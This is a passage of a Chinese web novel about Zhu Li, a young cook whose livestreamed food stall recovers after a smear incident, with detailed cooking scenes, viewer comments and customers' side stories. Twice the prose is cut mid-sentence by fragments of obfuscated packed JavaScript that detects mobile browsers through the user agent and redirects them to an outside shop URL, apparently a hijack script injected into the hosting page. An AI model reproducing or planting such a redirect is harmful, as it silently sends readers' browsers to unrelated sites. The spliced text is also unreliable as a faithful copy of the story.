虽是意料之外的回答,但姚玉一点都不反感。从第一眼见她朝气蓬勃地出现在自己摊前r,朱莉在她印象里就是和别人不一样的。 她不就是欣赏她这点不一样嘛。朱莉就该是这样有自信的人。 姚玉拿了两块块头很大的姜要塞到蓝色塑料袋里,朱莉后退一步,“姐你干嘛,我不要!” “给你就拿着,两块姜而已,做什么菜都用得上。” “那我买,姜一斤五块钱呢,不便宜。这少说也有两斤了。” 朱莉掏出手机要付钱,姚玉板起严肃的脸,“你给我打钱,我就去你直播间打赏。姐有的是办法。” 朱莉哈哈笑起来,“那谢谢姐啦。” 朱莉菜场里面一圈走完,摊位上的老板做起生意来都更有精神了,那精神程度如太阳穴涂上了风油精,眼前一片清明,醒透了。 从菜市场出来,推车上菜堆的老高,右手拎的黑袋子里还有三条大草鱼,今天加个新菜糖醋鱼块。 仍旧将监控与直播连接。 草鱼鱼尾开一刀,片去中间鱼骨,片下的鱼头待会儿炖汤,上下两片鱼肉切成四厘米宽大小。观众的思维还停留在第一条鱼到底是怎么被片开时,朱莉已经将三条鱼处理好了。 评论区有人发出来: ‘哇塞,这让我想到一个成语,庖丁解牛。’ ‘大哥,这是鱼啊。怎么说也是庖丁解鱼。’ ‘都一样,我就是那意思。’ 鱼块倒入葱姜水后,腌制二十分钟去腥。 这个时间朱莉准备店里所有荤菜要用到的食材,一些切成块,一些切成片,一些切成丝。朱莉身后的桌子上满满的准备好的食材。 腌制好的鱼沥干多余的葱姜水,用玉米淀粉抓拌均匀,保证下热油锅炸的鱼块已与水分完全隔离,中小火炸熟捞出控油。 这时用笊篱一边掂着控油,一边能听到鱼炸好后相互碰撞的咔吃咔吃声,鱼块已经炸的很酥脆了。 直播评论区又刷起来了: ‘声音听着好酥脆啊,我现在就想吃了怎么办,都不用蘸酱,感觉这样就已经很好吃了。’ ‘我那爱吃油炸食品的基因苏醒了。好想有个魔法,一睁眼就到他们厨房了,我先干一碗为敬。’ ‘难以想象我天天待在那会有多幸福。’ ‘太馋了太馋了,不行,躺不下去了,十一点到小区是不是,我洗漱完抓上电瓶车钥匙马上出发!’ ‘那你可得抓紧了,我们小区的爷爷奶奶晨练时商定的十点下楼。’ ‘爷爷奶奶们怎么还那么积极,这个岁数的不是天天把外面吃浪费钱挂在嘴边嘛?’ ‘架不住这家店好吃又便宜啊。他们退休工资可比我们每天哼哧哼哧上班高。’ ‘真气人!’ 朱莉舀了勺油进热锅中,现在开始调糖醋汁了。 舀一大勺番茄酱进去,用大勺快速搅拌使糖与油充分融合,再加糖醋盐调和口味。做酱汁极易粘锅,需要大勺不断翻搅,待所有酱料之间都充分融合后,鼻子一阵发酸,糖醋味已经出来了。 加水淀粉勾芡,糖醋汁转稠,更容易挂住鱼块。最后加半勺明油搅匀,让酱汁的颜色更亮更好看。 最后一步,将糖醋汁浇在鱼块上,糖醋鱼块就完成了。 橙黄色的糖醋汁浇在金黄的鱼块上,再撒上一层白芝麻,颜色明丽而鲜亮。 所有菜做完,朱春华和刘敏秀帮女儿把所有圆桶都抬到三轮车上,一次性餐盒放到圆桶上用钩子固定住,刘敏秀把灯牌给她安在车前兜,按亮开关。 刘敏秀站灯牌前欣赏了几秒,拍拍老公,“女儿心里还是住着一个小公主的。” “才二十出头,本来也小嘛。” 朱莉飞速浏览了下评论,“大家不要送飞机和游艇,送的我会原路返回,帮忙点点赞就可以了。”说完揣上手机就骑上三轮车出发了。 明珠小区门口的队伍比昨天还长,路边电瓶车和汽车都停了好多。 周六不上班,累了一星期中午就不想做饭,附近正好有个出名的快餐摊,怎么说也得尝尝。 虽说大家都是沿着台阶边排的,不影响大门车辆出入,朱莉还是担心会给小区治安添麻烦。人多万一出起事来,就不是她能控制的了。她赶紧停下车数人数,七十开外的只能和人家说抱歉,或者可以点外卖。 被劝回的四十多人“啊”了声,有些很爽快,离开队伍就掏出手机点外卖了,有些还要站会儿拍段视频拍张照再回去。 小区大爷大妈们,周末放假的上班族,学生各个年龄段的都有。单雨晨和奶奶,白承飞和室友,盛雨晴陈佳乐,高朗周小惠赵梦都在队伍中。 朱莉看到老面孔也会和他们打招呼,“今天有新菜,要不要试下?” 单雨晨狠狠点头,“当然,今天买四份,我弟弟也过来,一定得让他尝下。” “好嘞。” 当这一老一少拎着四份盒饭回小区的时候,后面的人就开始蹙眉焦急起来了,一人一份都不够,这一人带几份,还轮得到他们吗? 盛雨晴和陈佳乐一前一后,国庆过后就要考研预报名了,她俩今天约着比对下各自进度。 她们专业课不一样,公共课也只有一门政治是一样的,但从学习能力和方法来说,陈佳乐觉得有好多要向盛雨晴请教的地方。而盛雨晴考的专业又要准备作品集,她需要陈佳乐的帮忙。 朱莉对她俩印象深刻,短发女生叫陈佳乐,她在莱夏大厦做的第一个生意。当时她骑着共享单车,一头热汗,后来加群订盒饭,她发的永远是最简短的“老板,我要XXX,谢谢。” “老板,我要糖醋鱼块,红烧肉,蚝油杏鲍菇和鱼汤,谢谢。”陈佳乐说,脸上表情就如这简单明确的陈述语气。 “朱莉,我觉得你很有做大v潜质。”下一个是盛雨晴,“我要糖醋鱼块,红烧肉,蚝油杏鲍菇,黄瓜炒鸡蛋和鱼汤。” 朱莉边给她盛边说:“大v没大老板赚钱,我要做大老板。” “咦,你不知道现在行情,头部大v挣个几千万小意思。” 朱莉盛完菜给她打包,她皱皱鼻子,“咦,几千万哪入得了我眼。拿好,小心烫。” 盛雨晴倾过身来拍拍朱莉肩膀,朝她眨眨眼,“看好你。微信群别删,保持联系。” 盛雨晴挽着陈佳乐走了,外面没地方吃,还是得去自习室。 后面连着几个生面孔,朱莉猜想他们是看了直播来的,因为他们点菜要么全点,要么让她做推荐。 “要我推荐就是全部,味道不满意我可不往外卖。糖醋鱼块油炸过,刺不多,酸酸甜甜,红烧肉呢,正好把酸甜味道中和一下,你瞧我这肥肉部分都炖透明了。油里煸过的杏鲍菇有肉味,调料我只加了蚝油和一点点酱油,其他什么都没加已经很鲜了。你要不喜欢太油的菜,就点黄瓜炒鸡蛋,我这黄瓜炒的比生吃黄瓜还清爽……” 朱莉还没说完,他说:“每个菜都来一份吧。” 周小惠就喜欢听朱莉说这些话,最近都是叫外卖来不及过来排队,又陷入办公室内耗循环系统了,“老板,每个菜都要。” “好嘞。” “老板我短视频账号上关注你了,隔着视频都能闻到你菜的香味。” “谢谢支持,画质应该还清晰吧?” “很清晰,看的清清楚楚。” 赵梦今天不打算拍了,而且她是来跟老板道歉的,她犹豫着开口,“老板,不知道你还记不记得我……” 朱莉回以爽朗一笑,“当然记得了。” 这一微笑令赵梦心里负担就没那么重了,“真是不好意思,由于我上传的视频才让你被那个坏人盯上,还影响了你生意。” “怎么会,这件事情完全跟你没关系。我在批发市场摆摊时那个人就认为我在抢他生意了,真的不用不好意思。我只会感谢你替我宣传。”朱莉抽出一个一次性盒子,“今天吃什么?” 压在赵梦心里两天的石头终于落下来,老板不是斤斤计较的人,以后还可以照旧来买盒饭,说话声音都欢快起来,“全都要!” 两人拎着盒饭走回出租屋,同租的小情侣这时正要换鞋出发呢,周小惠提醒他们,“现在去已经来不及了,订外卖吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915882|134963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 女生说:“外卖没订到才想去的。” 赵梦心情好,拍拍女生肩膀,“中午是吃不上了,晚上吧。我们排队都提前两小时为出发做准备的,点外卖怎么着也得提前半小时守着手机吧。” 小情侣咧咧嘴,“好夸张啊。” “那是你没吃到,吃到就不会这么想啦。” 反正她们俩中饭是有着落了,手里沉甸甸的,现在什么都不比吃这份盒饭重要。 由于队伍里边好多人不只买一份,中途朱莉数了下人数,还得劝退一些人。高朗险些没买到,他是最后一个。 最近加班加到分不清白天黑夜,庆幸的是实习过了,下周一办正式入职手续。这周末就两件事,睡个天昏地暗,中间盒饭补充能量。他订了三个闹钟起来排队,回去吃了继续睡。 高朗全靠意志在支撑,从起床,排队,买好走路回去,大脑都是半睡眠状态。关上房门打开盒饭,吃到惦念的那一口红烧肉,他舍得暂时清醒下了。 红烧肉,想念的红烧肉,哪哪都合胃口的红烧肉。高朗拍了张照片给妈妈发过去,又发了段语音:“妈,我今天午饭,有红烧肉,糖醋鱼块,蚝油杏鲍菇,黄瓜炒鸡蛋,凉拌肉末茄子,还有一个鱼汤。这家饭菜味道很好也很卫生。” 接着又发一条:“妈,我实习期过了。下周一正式办入职,基本工资一万,但后面有业务提成。吃完我先补个觉,你打电话来我不一定听得到。” 要说的说完,高朗就专心吃饭了。 父母一直不赞成他留在华市,华市的天价房价他们家不吃不喝三十年都付不起,而他们认为男人结婚一定要有房有车,留在华市根本看不到未来,所以每次和家人沟通都是让他回家,说些留在华市是无出路的话。 每天在律所已经累的只剩一口气吊着了,再听到这些话心里其实挺泄气的,久而久之高朗就有些排斥接家里的电话了。明知挂了电话后需要一个星期甚至更长时间去调整颓丧的情绪,抱着这样的心情接电话就越来越抗拒了。 但每次这样想高朗又陷入深深的自责当中,父母把他养这么大他却连接电话都充满着排斥心理。他只好主动回过去自己在干些什么,然后以各种各样的方式逃避与父母电话沟通。 希望爸妈在听到他工资涨了后,对他的未来少些担忧吧。 连着吃了几块红烧肉,再尝尝糖醋鱼块。好久好久没有吃到鱼了,吐鱼骨头太麻烦,再加上吃鱼怕身上沾到鱼的腥气,就一直不敢吃鱼。但高朗是喜欢吃鱼的。 糖醋汁酸酸甜甜,番茄酱味占主导,油炸过的鱼肉更香,表皮香脆,里面白色的鱼肉鲜嫩,高朗一整块吃完反复回味都吃不出来腥气。 第二块就放心大胆地吃了,里面鲜嫩的鱼肉蘸蘸糖醋汁,又酸又甜又鲜又嫩,再扒一口饭,他要的幸福其实很简单的。 油乎乎的杏鲍菇拌在米饭里,米饭上也泛了光泽,满满一勺油润的米饭入口,越嚼越香。凉拌肉末茄子作为佐饭小菜再合适不过,最后需要黄瓜炒鸡蛋清清口。 米饭照样一粒不剩,喝汤作结尾。 奶白奶白的鱼汤,炖在里面的豆腐加倍鲜香,呼噜噜一口鱼汤豆腐,还能嚼到些些细碎的鱼肉,怎一个鲜字了得。 喝完靠在椅背上,舒服地哈了声,满足! 心里舒服,胃里舒服,大脑越来越清醒,不困了。那就下楼消消食,不困也好,睡多了晚上睡不着。 住得近的吃上盒饭后,谁能想象前半小时还恨不得把屏幕里的炸鱼块抠出来呢,半小时后吃到的心情。这味道没令他们失望不说,更是惊喜中的惊喜。 酸甜的番茄酱是搭配所有炸物的首选,平时吃的最多的是炸鸡,或者炸鸡店里顺带的炸鳕柳,那鳕柳腥的完全不能和这炸鱼块相比。这鱼块只有几块大骨头,大口地吃鱼比吃炸鸡还爽。 直播还没关,那一定要发几条评论啊。 ‘我一不爱吃鱼的,吃到这鱼简直哭死。原来不是真的不爱吃,是没吃到过这么好吃的做法。’ ‘我家老老小小都对这鱼赞不绝口,我儿子吃了还想吃,一直张着嘴巴等着我喂。’ ‘自从离开家都半年没吃鱼了,一份不够吃,晚上接着点。’ ‘这是唯一一家实际吃到的味道比屏幕里看到的更加分的小店。’ 卖完最后一份盒饭,朱莉掏出手机看了下直播,爸妈都已经在打扫厨房了,销量总算是回来了,还有上涨趋势。 再摆最后一天。 28.第 28 章 生意恢复,危机解除,朱春华和刘敏秀总算松口气。两天时间里,眼前光景一下切回八年前,又迅速切回当下,想通一些事。 日子再差也就是重新一无所有。做任何事都不可能一劳永逸,好了有人嫉妒,坏了更是要来踩一脚,只要自己不倒,总有爬起来的一天。有事想办法解决就好了。 想通这个干起活来都轻松不少。 算着儿子女儿补习课已经结束半小时了,给他们打了电话,是超超接的,“老爸,我们刚出补习班,在回家的路上。” “刚出补习班?不是已经结束半小时了吗?”朱春华问。 “有个同学问老师题目,老师觉得那题很重要,就超出时间了。” “哦哦好的,那这老师真挺负责的。都十二点半了,路上先买点吃的垫垫肚子再回去,跟奶奶说了没有要晚一点回去,不然她要担心了。” 电话里的声音变成了文雯,“哎哟老爸当然说啦,走出教室就给奶奶打电话了。” “啊,对面有牛肉煎包,我想吃牛肉煎包。”这话是文雯激动地拍打着文超手臂说的,刘敏秀听见了。 “那就去吃,多买点,不要想着省钱,今天生意相当不错。” “老妈我还想吃寿司。” “去买。多买点,下午半天边做作业边吃。” 打着电话,朱莉的三轮车也到门口了,朱春华去卸圆桶,朱莉接着和他们通电话。 下午三点接着开直播,还是单一的镜头,相同流程的做菜顺序,朱莉自己都觉得无聊,她想着直播间观看人数一定是一次比一次少的。 结果所有菜做完看了下人数,比上午还多了五六百人。 原本想在灯牌下面添一句话的——周日最后一天出摊,以后只接外卖订单。最后没写,她担心会被误以为是人流量大了搞饥饿营销。干脆就明天最后一天写。 最后一天来个硬菜——梅干菜油爆虾。 灯牌上的菜单需要改下,价格也得改,梅干菜油爆虾十三元。 明虾背上开一刀,取出虾线,葱姜黄酒腌制去腥。这时候切梅干菜,梅干菜一定要切的细碎,炒制时才能附着在每一块虾肉上。 鲜虾易熟,油炸过一遍待虾子弯曲转红捞出。换锅将梅干菜炒散炒香,倒入虾子翻炒,这一步需要爆炒,将梅干菜味道融进虾子里,甚至融进虾壳里,所以要炒的干些。 这个菜是分批炒的,一锅不能太多,朱莉翻炒几下,左手颠锅,腾兴起一串勾火,连带着表面一层的菜也爆香了,有了这点锅气菜的火候才到位。 屏幕前看到这一束火光的观众激动的“哇”了声,顺手就发评论了: ‘专业的厨师就是轻轻松松让你佩服的五体投地。’ ‘她应该不算专业厨师吧,印象里大饭店的才有真正师承,不过也挺厉害的。’ ‘管她有没有师承,菜做的好吃就说明一切。’ ‘你瞧她颠锅怎么能如此手到擒来,好像勾勾手指头的事情。’ ‘油爆虾,我最最最喜欢吃虾了,这跟梅干菜炒一块儿,光想象那味道都口水直流。’ ‘同志们,收拾收拾该去排队了。’ 啤酒鸭是老伙计了,吃了那么多次,还不知道怎么炒的呢。到底是什么独门秘籍,怎么自己就做不出来那个味儿? 批发市场里,暂时没生意的店铺老板都开着直播,看看自己中午吃的菜是怎么炒的,卫不卫生,他们可不觉得看着一成不变的镜头枯燥。看看而已,又不是自己炒,沾不上油烟。 李春苗老公带顾客选窗帘布,她则是坐在收银台前记笔记。这简直就是一个免费教做菜的直播,怎么能错过,学会了过年还可以在家添几道硬菜。 梅干菜油爆虾,绝对是一道拿得出手的硬菜,鸡鸭鱼肉都得有,啤酒鸭也要学会。但记了几笔后,李春苗意识到难度比想象的大,朱莉那圆勺蒯调料蒯得太快了,看的眼花缭乱,都不知从何下笔。 看来还得多看几次直播呀! 把这个当教做菜直播的可不止李春苗一人,戴上老花镜做笔记的大爷大妈们可把这当成了一件正经事来做。 全部菜做完,朱莉改了菜单和价格后,在灯牌最底下补了一行字:今日是最后一日出摊,各位食客有需求可点外卖。 明珠小区大门口的队伍比昨天长了一倍,都已经到影响出入车辆了,朱莉停下三轮车的第一件事就是数人数,超过的劝他们回去。 真心想吃到这盒饭的,低头马上下单,还有些人一直举着手机拍朱莉,走到哪拍到哪,好像手机是他们的眼睛。 轮不到也不回去,他们此行目的也不是一定要吃到,而是一定要拍到,拍到了发出去能涨粉丝,涨了粉丝就能带货。 朱莉只劝了句,“你们拍了也没用,就拍一次涨不了多少粉丝的,我明天不摆了。” 话是多余说的,人家压根当没听见。 “站旁边一点,影响交通。” 人家左右望了望,这时没车,就没移动。 没人能比得过从晨练就开始在守望的大爷大妈们,他们不关心这些,只关心今天怎么就是最后一天了。“人这么多还怎么敢出来摆,万一有个人被车撞了算谁的。叫外卖也一样的,省的一大早就为了口饭来排队。”一大爷说。 另一大爷头疼,“可我不会用外卖软件啊,钱放手机里万一被别人盗走了怎么办?” “哎哟不会就学啊!” “老了学不进了。” “我比你还大一岁呢,只要想学,没什么学不会的。还没开始学就先承认自己学不会,永远都被别人落在后面,回头我教你。” “我这还老年手机呢。” “下午去买个新的。” “老杨,要不这样,我把钱存你这里,你点的时候顺便帮我点一份,我过来拿。” 背着手的老杨摇摇头,“我不帮你弄,到时候钱算不清,我教你,你自个儿订。” 李成他们工地周日休息,虽说日日午饭都有老朱给他们送来,但这不是前两天碰到事儿了嘛,怎么着也得现场来支持一下。只不过来得晚了没排上,知道人多,哪料得到这么多人呀。 只好上前跟朱莉打声招呼就打算走了。 朱莉这边正忙着打包,见是熟人,“大哥,你们怎么也来排队了?” “今天不是休息嘛,没事过来看看。” “你们给我爸打个电话让他留两份就好了。” 后面排队的人一听,“怎么他们打电话就可以给他们留几份,凭什么我们只能辛辛苦苦排队?” “我爸朋友呀。”朱莉只好给出简单解释。 李成连忙甩手,“不用不用,我们中午随便吃点就行。”李成和阿奇本来要走的,见朱莉这边忙,李成便决定留下来帮她一起打包。人太多了,出现安全问题谁负责,还是早点卖完早点回去的好。 于是李成盛汤,阿奇打包,他们天天中午吃这盒饭,量多少心里有数得很。 周老师夫妻俩推着儿子来排队的,朱莉对周老师印象深刻,还是第一次见到她的其他家人。周老师的丈夫同样是满头银发,背板挺直,人也很精神。 轮椅上的中年男子也有白头发了,但整体给人的气质就是静和稳。给人一种儒雅长辈得亲近感。 他们这回没自己带饭盒,菜也不是五个菜都点,各自有各自的口味偏好。 买完中年男子腿上放了两袋盒饭,周老师手上拎一袋,周老师丈夫则是推着轮椅,他们没回小区。 好奇心比小孩还盛的大爷大妈们就开口了,“周老师,今儿个不回去吃啊?” “天气好,去公园吃。” 大妈也建议她老伴,“要不我们也上公园吃去吧?” “树和花有啥好看的,还是回家看着电视吃舒服。” 圆桶里的菜已经卖掉一半了,旁边举着的手机就一直没放下过。 “来来来快看啊,网红快餐摊,前两天被人诬陷吃出根皮线,终于揪出罪魁祸首,现在生意好得不得了……” 朱莉听到剜了他一眼。 “我现在在‘奇迹快餐’摊这里,你们看,人满为患,已经成网红了……” 一个个对着手机说话,隔了几米看过去像被人操控的有口无心的提线木偶。 “老板,你这个摊子现在都成网红了,请问你对此有什么想法?”一个小姑娘的手机都要怼到朱莉脸上了,朱莉脖子往后仰了仰,“网红谈不上吧,生意多肯定高兴。” “那对于前两天的事情,就处罚两百是不是太便宜人家了?你又打算再接着告吗?” 朱莉抡起圆勺准备盛菜,“菜选好了吗?” 周小惠排在她后面,扯着嗓子,“前面的人在说些什么快点行不行?”赵梦自己是最早拍这摊子的,她觉得自己没资格参与这个话题。 当然她也是很看不惯这种做法的,这两天老板生意忙,她才不会来给她添麻烦呢。虽然指望账号做大,有些底线不能破。 后面接着有几个轮到了举着手机怼脸拍的,一套说辞一听就是迫切想要涨粉的,朱莉一口气上来,张开嘴巴,又把话咽回去了,转了语气,“拍视频可以,排到先报菜名,不要问问题,后面等的人会着急。” 菜全部卖完,旁边还好多人站着,仍旧举着手机,几个面无表情念咒语似的,几个对着镜头声情并茂的,朱莉一边收拾摊子一边佩服他们,能花费这么长时间做一件毫无意义的事情。 忙完李成和阿奇就打算走了,他们帮了大忙,令她比平时快了好几分钟,也没给小区交通造成太大麻烦,得好好谢谢他们。 人家中饭还没吃呢,总得请他们吃顿中饭吧。 李成和阿奇与朱春华刘敏秀的岁数更近些,和朱春华是老熟人了。回到厨房,爸妈都已经在收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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剩下的饭带回家,明天早上可以煮粥。桌子收拾干净,垃圾收进垃圾袋,以免引来蚊虫。收拾完便安静坐着欣赏下湖面风光。 鸟儿短暂停留在枝头几秒,又飞去了另一棵树的枝头,四处望望便飞走了。周老师突然兴奋地指指远处一个浅滩,“你们看,那几只是不是野鸭子?” 父子俩视线随她指向的方向望过去,浅滩那除了一片密密麻麻的杂草之外什么也没看到,“没有啊,什么也没看到。”梁鸣声尽可能地倾过身子去,看到了个灰灰的小脑袋。 随后,三只个头很小的鸭子便游出来了。“是野鸭子,要是公园养的个头不会那么小。” 三只鸭子往他们的方向游了一小段又游开去,只留下一片涟漪。三人看的着了迷。 梁鸣声手机响,一看是远在黎市的儿子打来,老两口只转过头来问了句,“是小远吗?”回过头便不见那三只野鸭子了。 批发市场一个个外卖小哥路过,一人手里拎几份印着‘奇迹快餐’logo的盒饭。 李春苗老公做完生意也过来吃了,他们夫妻俩都喜欢吃虾,平时红烧或白灼得多,一吃上这个梅干菜油爆虾,仿佛打开了新的世界。 李春苗老公吃饭吃菜又快又大口,这个梅干菜油爆虾实在太符合他胃口了,虾壳炸的酥脆咸香,只要咬掉虾头,其他都可以吃,一口一个,油炸过后的菜搭配米饭会让米饭更香甜,扒一大口米饭,过瘾,“下次我们在家也这么烧。” “嗯!这道菜一定要学会,我下午再看一遍直播。” 虾肉中间开背的地方油炸过来两边撬开,中间的缝隙嵌着细细碎碎的梅干菜,两者再搭配不过,边吃边感叹怎么会这么好吃。 朱莉下午又去买了一批新鲜明虾,连上直播就开始做。 在她没工夫看的评论区里聊的可热闹了。 ‘人间至味竟藏在如此小摊里,真是人不可貌相海水不可斗量啊。’ ‘文邹邹的,就是找不到比这更好吃的小摊的意思呗。’ ‘想起中午吃的,我都快流口水了,那虾我都可以一人干一盘!’ ‘老板能否发个菜谱呀,我要学着做,看直播太快了,学不会。’ ‘你可以私信,老板这会儿正忙着呢,怎么可能看到。’ ‘我愿以后把所有的油炸薯片薯条换成梅干菜油爆虾。就是成本高了些。’ ‘老板能把店里的固定菜油爆虾换成加梅干菜的吗,我更喜欢加梅干菜的。’ ‘怎么今天就是最后一天出摊呢,我今天第一次吃到啊,呜呜呜。’ 菜好吃胜过千言万语的宣传,这些菜的味道自然就帮你把散客变成回头客,常客。中午来排队买的,晚上还会来。 厨房里叮叮叮叮,“你有新的外卖订单了”的声音就没断过。 朱春华和刘敏秀一点不嫌累,越干越有劲,每响一声就多挣一份盒饭的钱。 29.第 29 章 晚上盘点一天营业额,接近五千,当然今天的虾成本也高,算下来净收入三千是有的。 洗漱完回看直播评论,朱莉看到有人建议将原味油爆虾换成梅干菜油爆虾。嗯,建议不予采纳。 油爆虾还可以做成芥末沙拉的,椒盐味的,挂番茄汁的,以后一样样给你们做。别急。 店再扩大点倒是可以多做几样,国庆后得开始找店铺了。 朱莉还刷到有人录了她的做菜视频发出来,一刷刷到好几条,洗菜过程放大了发出来的也有。 这些在开直播前就预料到了,洗菜过程越放大就越了解她的厨房多卫生,菜多新鲜。至于做菜过程,学的到皮毛学不到精髓。 几十年的师父早就自成一套,不用学也不屑学,还没学到家的厨师得好几年才出来呢,这些都不是竞争对手。厨艺好的不甘心干快餐,认为国营或五星级大酒店才是最好的出路,毕竟这也意味着一种认可。 只有同为快餐行业,又相同水平的厨师才是她的竞争对手,目前还没发现。 发现朱莉也想好了,要么吸收为合作伙伴,要么,干掉! 周一这天杀的工作日,周小惠一进办公室心情十二万分的沉重,上午无休止的开会,动员,派发新一周任务,再每个人总结和陈述计划。九点一到,她悄悄在桌子下面看直播,把手机调成静音。 再一抬头,看领导穿成西装革履,嘴巴一张一合,每个字她都听见了,组合起来都是废话,恍惚不明白自己为什么还在这浪费时间,当下有了辞职的冲动。辞职后做什么好呢?她又不像朱莉一样有一技之长。 一技之长?周小惠一下子醍醐灌顶,有一技之长谁还在坐这儿浪费时间,那她的一技之长是什么? 边想边看直播,大脑完全屏蔽掉了领导叭叭叭的声音。 屏幕里,朱莉在切五花肉,今天做腐乳烧肉。 中午和晚上都不用出去摆摊,只用接外卖订单,可以多做些。腐乳烧肉一做就做两大锅,素菜不够随时补充。 五花肉很新鲜,不用焯水直接下锅煸,把多余油脂煸出,肉皮和瘦肉都有微微干焦的迹象。 捞出一部分油后放葱姜老抽酱油提色提鲜,再加入香料翻炒,增加香味。 腐乳烧肉和红烧肉的做法相似,只多了一步。大锅肉,腐乳汁的比例很关键,放少了腐乳味不够,放多了腐乳味太重就完全把肉的鲜味盖住了。饶是朱莉也要在心里换算下多少肉放多少水和腐乳汁。 屏幕里完全看不出来,大家只看到朱莉哗哗的往里倒腐乳汁,好像眼睛都不眨一下。 直播间评论区一条接一条: ‘这个是什么牌子腐乳汁来着,刚没注意看。’ ‘好像是黄色盖子的,红油腐乳,你网上搜一下就知道了。’ ‘南洋牌啊,很经典的牌子,我们从小吃到大,腐乳烧肉是我家这边的特色。’ ‘从来没听说过腐乳烧肉。’ ‘腐乳不是一块一块的嘛,还有分开来专门卖的?’ ‘以前是没有的,现在什么没有。’ ‘哈哈哈,是滴。只有你想不到的,没有买不到的。’ ‘我要说,这家店第一次诞生了我不爱吃的菜,腐乳味道接受无能。’ ‘天呐,我最爱吃的就是腐乳烧肉了,放米饭里一拌,鲍鱼海参都不换。’ 店里来了两个生意,李春苗和她老公一人接待一个。又是一个新菜,学不到可惜了。手机就放在收银台支架上,看不了直播也要让她放着。 但做起生意来就一秒也抽不出来了,做生意是个脑力活。可能原先人家只是缺什么就来进什么货,但聊起来就抓到他们的需求了,一样样介绍过去,哪个花色好卖,进的人最多,顾客也会考虑额外进点回去卖。 一个脑子不能两头兼顾,只能先顾着生意了,多赚钱多点一份腐乳烧肉也不心疼。 腐乳汁一倒下去,整锅的汤汁马上变酱紫色,腐乳的味道蛮横地蔓延整个厨房。大火煮沸七分钟,中小火慢炖,把腐乳味炖进去。 炖肉的过程中,朱莉开始做别的菜。 店里固定菜不是完全不变,每天还要更换一下菜单。再好吃的菜,多吃几次也会吃厌。作为老板,朱莉得想在他们前面,才能抓住顾客的胃。 抓住了顾客的胃,还愁钱赚不来嘛? 腐乳烧肉代替固定菜红烧肉,从口味上来说,腐乳烧肉味道更浓,更容易腻,其他荤菜不变,就得辅以两个清淡爽口的半荤和全素。 半荤里有黄瓜炒鸡蛋。考虑到有些人实在接受不了黄瓜炒鸡蛋,就得加个蚝油肉末生菜。全素有了炒豆芽和炒青菜就不需要换了。 荤菜先做,炒菜不用急,啤酒鸭、白斩鸡、黑椒牛仔骨……一样样来,油爆虾是最后一个荤菜,放久了虾肉会腥,壳也不脆了。 鱼香茄子,杏鲍菇炒肉,黄瓜炒鸡蛋、蚝油生菜无缝衔接。屏幕外的人也不知道为什么,看个炒菜都能看的那么起劲。 陈佳乐拆箱子休息间隙,也要点开来看个几秒,有时盛雨晴正好发信息过来,也会跟她聊几句。熬过了有话无处说的状态,现在有个地方可去,有个东西可期盼,有个人随时可闲聊,她不再感到拆箱子多难熬了。不内耗工作干起来反而更有劲了。 十点五十,外卖开始接单。 “叮咚,你有外卖新单了。” “叮咚,你有外卖新单了。” …… 机器声不听,像卡壳了。 朱春华去工地送完盒饭回来,三个人一起打包,速度快了很多。腐乳肉几乎每份必点,除了素菜之外最先卖空。蚝油肉末生菜、杏鲍菇炒肉、黄瓜炒鸡蛋看着快卖空了马上补上,朱莉每次补半盘,确保最新鲜热乎,补了三次,下午的量提前用掉了。 门口外卖小哥络绎不绝,打包完直接放到门口桌上,方便他们拿。朱莉做了透明塑料帘子,可以随时看到外面动静。 他们这边的单子实在太多了,外卖小哥一进一出难免灰尘大。 朱莉还在桌子边放了两个奶茶店的保温圆桶,一个里面灌了大麦茶,一个白开水,一盒水果硬糖。 桌上放了一次性纸杯,很少用。大家都互相体谅,你替我着想,我也替你着想,一次性纸杯也是花钱买来的,能不用就不用,外出干体力活怎么可能不带水杯。 来拿外卖时顺手拿一颗糖,路上抿抿,甜甜蜜蜜的,还能充饥。 还有打扫整个福安广场的阿姨大叔,朱莉在门口墙上贴的是免费取用,认识字的一看便知,不认字也没关系,口耳相传。 外卖小哥送‘奇迹快餐’的单子格外小心,像送自家外卖似的。保洁大叔也把门口空地扫的干干净净。 一月多付五百的房租还是很划算的,她这边的空地空间大,外卖小哥还可以在店外稍微停留休息。顺便把午饭解决了。 午饭吃什么呢?自然就里面顺手买一份了。 平时就算中午吃包子豆浆,那也得两个包子打底,肉包两块五,菜包两块,豆浆三块那也得七块五了。在这里点份一荤一素的盒饭不香嘛,省点十块钱就能解决一顿饭了,最关键是营养卫生。 一天天路过十几次,他们最清楚了。 自然而然,厨房这边还多出了不少生意。外卖员拿外卖的时候顺便把自己这份点了,等送完最后一份直接开吃。保洁大爷大妈偶尔不带饭的时候也门口喊一声,有饭补,难得花个十块钱还是舍得的。 过道里的几家外卖厨房看了这现象,着实后悔当初没舍得多花五百租个好一点的位置。 量比以往都多,还是在十二点半销售一空。 朱春华转动了几下脖子,捶捶后背,刘敏秀活动胳膊转动脖子,打包几乎是长时间低着头的。 朱莉年轻,也比较会忙里偷闲,她的时间在厨房按秒计算。 菜卖完还不能休息,还要洗厨具餐盘,擦桌子,拖完两遍地才算最后结束。朱莉要收拾方盘去洗,刘敏秀抢过来,“莉莉你炒菜也是体力活,我来洗。” “不累,我洗就行了。”朱莉从老妈手里抢来方盘。 刘敏秀又抢过去,“怎么可能不累,我来洗我来。” 那擦桌子吧,抹布在她老爸手里。地还不能拖,要等台面上全部收拾安静才能拖地。 朱莉守在拖把旁边看直播,此时直播还没关,评论区评论一条接一条: ‘哈哈哈朱莉你好搞笑,抱着拖把看手机也是没谁了。啊哈哈哈哈,笑死我了!’ ‘老板和爸妈好客气噢。’ 